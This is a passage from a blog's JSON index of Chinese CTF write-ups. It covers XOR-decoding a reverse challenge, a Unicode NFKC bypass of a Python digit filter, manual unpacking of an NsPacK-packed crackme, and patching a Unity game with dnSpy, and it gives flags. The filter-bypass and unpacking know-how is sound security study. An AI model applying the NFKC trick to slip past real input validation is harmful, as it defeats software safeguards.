no,this is just an easy nc-test. 2 3loc_40116D: 4mov eax, [ebp+i] 5add eax, 1 6mov [ebp+i], eax 7loc_401176: 8mov ecx, [ebp+Str] 9push ecx 10call _strlen 11add esp, 4 12cmp [ebp+i], eax 13jge short loc_40119D\t14mov edx, [ebp+Str] 15add edx, [ebp+i] 16movsx eax, byte ptr [edx] 17xor eax, 10h 18mov ecx, [ebp+Str] 19add ecx, [ebp+i] 20mov [ecx], al 21jmp short loc_40116D 22maybe the result is talking about xor? 23My result: 240x44,0x7c,0x5e,0x44,0x41,0x21,0x42,0x57,0x75,0x21,0x74,0x56,0x44,0x57,0x5d,0x67,0x44,0x46,0x29,0x45,0x5d,0x56,0x29,0x67,0x46,0x22,0x25,0x76,0x74,0x6a,0x52,0x69,0x5d,0x47,0x41,0x78,0x76,0x41,0x2d,0x2d 25 26your answer? 汇编逻辑简单,将字符串中的某一个字符存入 eax 寄存器后再做一次 xor eax, 10h 操作,随后对下一个字符做相同操作。我只能说,把逆向题出道远程服务器里它也是逆向题。\n1flag = [0x44,0x7c,0x5e,0x44,0x41,0x21,0x42,0x57,0x75,0x21,0x74,0x56,0x44,0x57,0x5d,0x67,0x44,0x46,0x29,0x45,0x5d,0x56,0x29,0x67,0x46,0x22,0x25,0x76,0x74,0x6a,0x52,0x69,0x5d,0x47,0x41,0x78,0x76,0x41,0x2d,0x2d] 2for i in flag: 3 print(chr(i ^ 0x10), end = \u0026#39;\u0026#39;) 得到一串 Base64:TlNTQ1RGe1dFTGMwTV9UMF9wV25fdzByMWQhfQ==,解码之后是 NSSCTF{WELc0M_T0_pWn_w0r1d!}。不过这不是最终 flag,需要把它填到终端里,然后获得远程主机的权限。\nNSSCTF{7f840e08-33c7-44a3-8c01-d4a34362de59}\n","link":"https://jackgdn.github.io/post/%E8%BF%91%E6%9C%9F%E8%A7%A3%E9%A2%98_20230113/","section":"post","tags":["Reverse","MISC","Pwn","WP"],"title":"近期解题 2024.1.13"},{"body":"擂台赛 - 123456789 题目源代码如下\n1from secret import flag 2data = input(\u0026#39;\u0026gt; \u0026#39;) 3assert len(data) \u0026lt;= 9 and all(i not in \u0026#39;123456789\u0026#39; for i in data) and int(data) == 123456789 4print(flag) 看上去不是很麻烦。题目会在远程服务器上运行,secret 模块及其中的 flag 常量都存储在远程服务器上。 如果我们输入的 data 能够满足这个 assert 中的条件,flag 就会自己跳出来。\n条件如下:\ndata 的长度小于等于 9\ndata 中不含 “123456789” 中的任意一个字符\ndata 转化为整型后与 123456789 相等\n似乎条件 2、3 矛盾了,两个条件不可以同时实现。但是真的如此吗?\nUnicode 编码归一化 文字处理软件在实现统一码字符串的搜索和排序时,须考虑到等价性的存在。如果没有此特性的话,用户在搜索时将无法找到在视觉上无法区分的字形。\n通俗来讲,例如说在 Unicode 中合字 ffi (U+FB03) 在视觉上等同于 ffi 三个字符拼凑而成,因此需要计算机软件能够识别 ffi 三个字符等同于 ffi 合字字符,以便于用户检索。\n实际上的 Unicode 编码归一化的算法比这要更为复杂,并分为了 NFD、NFC、NFKD、NFKC 四种算法,每一种算法都有不同的用处。\n话说回来,这和我们要解决的问题有什么关系吗?Natürlich! 这道题目使用的语言 Python 支持 NFKC ,也就是说,我们应该找到一个由“视觉上相同”的 123456789 字符串。这样的话,这个字符串中的任意一个字符都与 ASCII 编码中的 123456789 不同,而将其强制转化为整型的操作则会被归一为将 ASCII 编码中的 123456789 字符串转化为整型的操作。也就是说,我们需要找到合适的 Unicode 字符。\n这里有一个可以查找 Unicode 字符的网站:List of Unicode Characters of Bidirectional Class “European Number”,经过筛选,我们找到一下几组可能能成功的字符。由于懒得一个个复制,我们不妨遍历一下。\n1// filename: Exp_123456789 2 3public class Exp_123456789 { 4 public static void main(String[] args) { 5 // superscript numbers 6 System.out.printf(\u0026#34;%c%c%c\u0026#34;, \u0026#39;\\u00B9\u0026#39;, \u0026#39;\\u00B2\u0026#39;, \u0026#39;\\u00B3\u0026#39;); 7 for(char i = \u0026#39;\\u2074\u0026#39;; i \u0026lt;= \u0026#39;\\u2079\u0026#39;; i++) { 8 System.out.print(i); 9 } 10 System.out.print(\u0026#39;\\n\u0026#39;); 11 // subscript numbers 12 for(char i = \u0026#39;\\u2081\u0026#39;; i \u0026lt;= \u0026#39;\\u2089\u0026#39;; i++) { 13 System.out.print(i); 14 } 15 System.out.print(\u0026#39;\\n\u0026#39;); 16 // numbers with full stop 17 for(char i = \u0026#39;\\u2488\u0026#39;; i \u0026lt;= \u0026#39;\\u2490\u0026#39;; i++) { 18 System.out.print(i); 19 } 20 System.out.print(\u0026#39;\\n\u0026#39;); 21 //full width numbers 22 for(char i = \u0026#39;\\uFF11\u0026#39;; i \u0026lt;= \u0026#39;\\uFF19\u0026#39;; i++) { 23 System.out.print(i); 24 } 25 } 26} 27 28/* 29output: 30¹²³⁴⁵⁶⁷⁸⁹ 31₁₂₃₄₅₆₇₈₉ 32⒈⒉⒊⒋⒌⒍⒎⒏⒐ 33123456789 34*/ Oops! 虽然我们找到可以明确知道有哪些字符至少看上去和一般数字一致,但这似乎不能直接判断这些在 Python 中是否可以被归一为一般数字。唉,在 Python 中重新来一遍。\n1code = \u0026#34;assert len(data) \u0026lt;= 9 and all(i not in \u0026#39;123456789\u0026#39; for i in data) and int(data) == 123456789\u0026#34; 2try: 3 data = \u0026#34;¹²³⁴⁵⁶⁷⁸⁹\u0026#34; # superscript numbers 4 exec(code) 5 print(data) 6except: 7 try: 8 data = \u0026#34;₁₂₃₄₅₆₇₈₉\u0026#34; # subscript numbers 9 exec(code) 10 print(data) 11 except: 12 try: 13 data = \u0026#34;⒈⒉⒊⒋⒌⒍⒎⒏⒐\u0026#34; # numbers with full stop 14 exec(code) 15 print(data) 16 except: 17 data = \u0026#34;123456789\u0026#34; # full width numbers 18 exec(code) 19 print(data) 20 21# output: 123456789 看来只有最后一组字符串是可行的。打开题目环境输入这串字符,果然出了 flag!\nflag{U_kn0w_NFKC\u0026amp;Un1c0d3,_r1gh4?}\n攻防世界 - crackme 先拖进 IDA\n哇哦,这个函数数量,这个伪代码恶心程度,很难不让人想到它是加了壳的。现在拖进 DIE 再看看\n果然,有一个 NsPacK 的壳。在网上浏览了一圈没有找到适当的脱壳工具。不妨先试一试曾经尝试过的方法,即运行到程序完全解压后重新分析。把它重新拖进 IDA 并调试\n现在程序运行到这个位置,应该已经解压完成了,接下来重新分析。\n似乎还是老样子……只好自己尝试手脱壳了。这次尝试一下”esp 定律“脱壳法。\n拖进 x64dbg 并直接运行到 pushaf 与 pushad 的位置。pushaf 是将标志位寄存器的值入栈,pushad 是将八个通用寄存器的值入栈。这一步是解压程序运行的开始。\n步过到 call 指令,这条指令会执行解压函数,从而得到真正的程序\n当 eip 指向 call 指令时,我们就可以用 esp 寄存器中存储的地址设置断点了。在内存一窗口中右键地址 -\u0026gt; 断点 -\u0026gt; 硬件,访问 -\u0026gt; 2 字节。随后就能在寄存器窗口看到 DR0 的值已经变了。\n然后直接运行到断点。这时候不难看出 eip 寄存器指向了 popfd 指令,说明程序已经解压完成了。\n紧接着 popfd 指令的是一个跳转到 0x401336 的指令(当前地址 0x40641D),看来是要正式执行程序了。\n步进一次使 eip 指向这一大跳,现在这个跳转过去的地方就是脱过壳的地方了。在插件 -\u0026gt; Scylla -\u0026gt; IAT Autosearch -\u0026gt; Dump,我们就得到了一个新的 dump 过的可执行文件。 当然也许它不可执行……\n不过没有关系。我们已经拿到了脱过壳但不可执行的可执行文件。把它重新拖进 IDA。\n芜湖,这就看上去简单多了。程序的逻辑非常简单,我们输入的字符串长度为 42,而且这个字符串与 byte_402130 中的数据循环异或后需要与 dword_402150 中的数据相同。两组数据我就不摆出来了,直接放脚本。\n1#include \u0026lt;iostream\u0026gt; 2#include \u0026lt;cstdio\u0026gt; 3#include \u0026lt;cstring\u0026gt; 4 5using namespace std; 6 7int main() 8{ 9 unsigned char chars[] = 10 { 11 0x12, 0x04, 0x08, 0x14, 0x24, 12 0x5C, 0x4A, 0x3D, 0x56, 0x0A, 13 0x10, 0x67, 0x00, 0x41, 0x00, 14 0x01, 0x46, 0x5A, 0x44, 0x42, 15 0x6E, 0x0C, 0x44, 0x72, 0x0C, 16 0x0D, 0x40, 0x3E, 0x4B, 0x5F, 17 0x02, 0x01, 0x4C, 0x5E, 0x5B, 18 0x17, 0x6E, 0x0C, 0x16, 0x68, 19 0x5B, 0x12, 20 }; 21 string tinf = \u0026#34;this_is_not_flag\u0026#34;; 22 for (int i = 0; i \u0026lt; 42; i++) 23 { 24 printf(\u0026#34;%c\u0026#34;, tinf[i % 16] ^ chars[i]); 25 } 26} 27 28// output: flag{59b8ed8f-af22-11e7-bb4a-3cf862d1ee75} NCTF - Jump For Flag 举办方将其定位到 MISC 方向中,但个人认为这是一道简单的逆向题\n这道题附件是一个 Made With Unity 的小游戏。只要按下空格键跳起来,天上就会随机掉落数个二维码的像素。这些像素块在生成的时候是在它“应该在的位置上”,但是下落的过程中它们在做布尔运动,以至于落到地上后就成了散装二维码。如图\n照这样说,多跳几下实际上是不能让一个二维码完整出现在地面的,它们只会变成一坨()\n比较简单的一个思路,既然签到题的二维码是整坨落下来,那么可以把第二题的二维码放到签到题里。\n用 dnSpy 打开第二题中的 Assembly-CSharp.dll,可以在 CubeGenerator() 方法里找到方块对象生成时的属性,在后面的 makecube() 方法里找到对方块对象属性的定义。\nCubeGenerator():\nmakecube():\n1private void makecube(int x, int y, int z, string col) 2{ 3\tGameObject gameObject = Object.Instantiate\u0026lt;GameObject\u0026gt;(this.cube, new Vector3((float)x, (float)y, (float)z), Quaternion.identity); 4\tMeshRenderer component = gameObject.GetComponent\u0026lt;MeshRenderer\u0026gt;(); 5\tif (col == \u0026#34;black\u0026#34;) 6\t{ 7\tcomponent.material.color = Color.black; 8\t} 9\telse 10\t{ 11\tcomponent.material.color = Color.white; 12\t} 13\tgameObject.GetComponent\u0026lt;Rigidbody\u0026gt;().AddForce(new Vector3(Random.Range(-10f, 10f), 0f, Random.Range(-10f, 10f)), ForceMode.Impulse); 14} CubeGenerator() 中总共创建了 900 个方块对象,而且在每一个 new int[] 中的四个数据分别是 x轴,y轴,z轴与颜色。\n再用 dnSpy 打开签到题的 Assembly-CSharp.dll\nCubeGenerator():\nmakecube():\n1private void makecube(int x, int y, int z, string col) 2{ 3\tMeshRenderer component = Object.Instantiate\u0026lt;GameObject\u0026gt;(this.cube, new Vector3((float)x, (float)y, (float)z), Quaternion.identity).GetComponent\u0026lt;MeshRenderer\u0026gt;(); 4\tif (col == \u0026#34;black\u0026#34;) 5\t{ 6\tcomponent.material.color = Color.black; 7\treturn; 8\t} 9\tcomponent.material.color = Color.white; 10} 哇哦,几乎是一样的。也就是说,这个思路基本具有可行性。下面要做的就是把第二题的二维码 900 个方块的数据 Copy-Paste 到签到题里面,然后编译保存。\nNCTF{25d8fdeb-0cb6-4ad4-8da1-788a72e701f0}\nSehr gut!\n","link":"https://jackgdn.github.io/post/%E8%BF%91%E6%9C%9F%E8%A7%A3%E9%A2%98_20231226/","section":"post","tags":["WP","Reverse"],"title":"近期解题 2023.12.26"}]